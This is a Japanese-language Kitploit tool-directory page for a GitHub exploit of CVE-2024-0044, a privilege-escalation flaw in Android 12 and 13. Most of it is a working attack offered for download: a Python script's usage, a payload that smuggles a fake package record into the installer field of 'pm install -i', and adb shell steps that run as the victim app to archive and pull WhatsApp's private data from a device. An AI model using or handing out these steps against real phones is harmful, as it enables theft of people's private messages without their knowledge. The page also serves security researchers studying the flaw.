Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
c-CVE-2024-0044 — CVE-2024-0044: 高い深刻度の「任意のアプリとして実行」タイプの脆弱性で、Android 12 および 13 のバージョンに影響します。 | Kitploit
ツール/GitHubGitHub/007criptografia/c-cve-2024-0044
Androidセキュリティ特権昇格脆弱性分析エクスプロイトモバイルアプリペンテストデータ流出ポストエクスプロイトペネトレーションテストモバイルセキュリティ
GitHub007criptografia/c-cve-2024-0044

c-CVE-2024-0044

CVE-2024-0044: 高い深刻度の「任意のアプリとして実行」タイプの脆弱性で、Android 12 および 13 のバージョンに影響します。

412年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE 2024 0044

CVE-2024-0044は、PackageInstallerService.javaファイルのcreateSessionInternal関数で特定された、Androidバージョン12および13に影響する高深刻度の脆弱性です。この脆弱性により、攻撃者は「任意のアプリとして実行」攻撃を行い、ユーザーの操作を必要とせずにローカルの権限昇格を引き起こす可能性があります。問題は、createSessionInternal関数内の不適切な入力検証に起因します。攻撃者はセッション作成プロセスを操作してこれを悪用し、機密データへの不正アクセスや影響を受けるデバイスでの不正なアクションを実行する可能性があります。

このエクスプロイトはMeta securityによって発見されました。

概念実証はTiny hackによって要約され共有されました。

セキュリティパッチの詳細はAndroidセキュリティ速報にあります。

前提条件

  1. スマートフォンでUSBデバッグを有効にし、USBケーブルまたはワイヤレスデバッグを使用してマシンに接続します。
  2. マシンに任意のAPKをダウンロードします。F-DROIDを使用できます。

ツールの使い方

root@kitploit:~
python3 cve_2024_0044.py -h
                                                                               
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
        
usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)

-Pは、実行したいターゲットパッケージ名を指定するために使用します。

-Aは、デバイスにプッシュするAPKファイルを指定します。

エクスプロイト

ツールを実行します。 python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

以下のようなpayload.txtファイルが生成されます。

root@kitploit:~
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

ツールは一部の作業を自動化しますが、他の部分は手動です。ペイロードを生成した後に終了し、すべてのコマンドを手動で実行するか、指示に従って続行することができます。

次に、adb shellを使用してデバイスに接続し、ペイロードを貼り付け、最後のコマンドの後にSuccessメッセージが返されることを確認する必要があります。

root@kitploit:~
pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

次に、以下のコマンドを使用してWhatsAppデータを取得します。

root@kitploit:~
pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

一時ディレクトリを作成: mkdir /data/local/tmp/wa/

tarファイルのプレースホルダを作成: touch /data/local/tmp/wa/wa.tar

広範なパーミッションを設定: chmod -R 0777 /data/local/tmp/wa/ により、任意のユーザーがこのディレクトリ内で読み取り、書き込み、実行できるようにします。

ユーザーコンテキストを切り替え: run-as victim により、"victim"ユーザーと同じパーミッションを取得します。

対象アプリケーションのデータをアーカイブ: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp でWhatsAppデータディレクトリのtarballを作成します。

最後にデータをプルします。

adb pull /data/local/tmp/wa/wa.tar

データは7zまたは他のツールを使用して抽出できます。

Whatsapp chat exporterを使用してHTMLに変換することもできます。

これにより、デバイスにrootアクセスがなくてもWhatsAppデータを取得できます。

ツールをダウンロード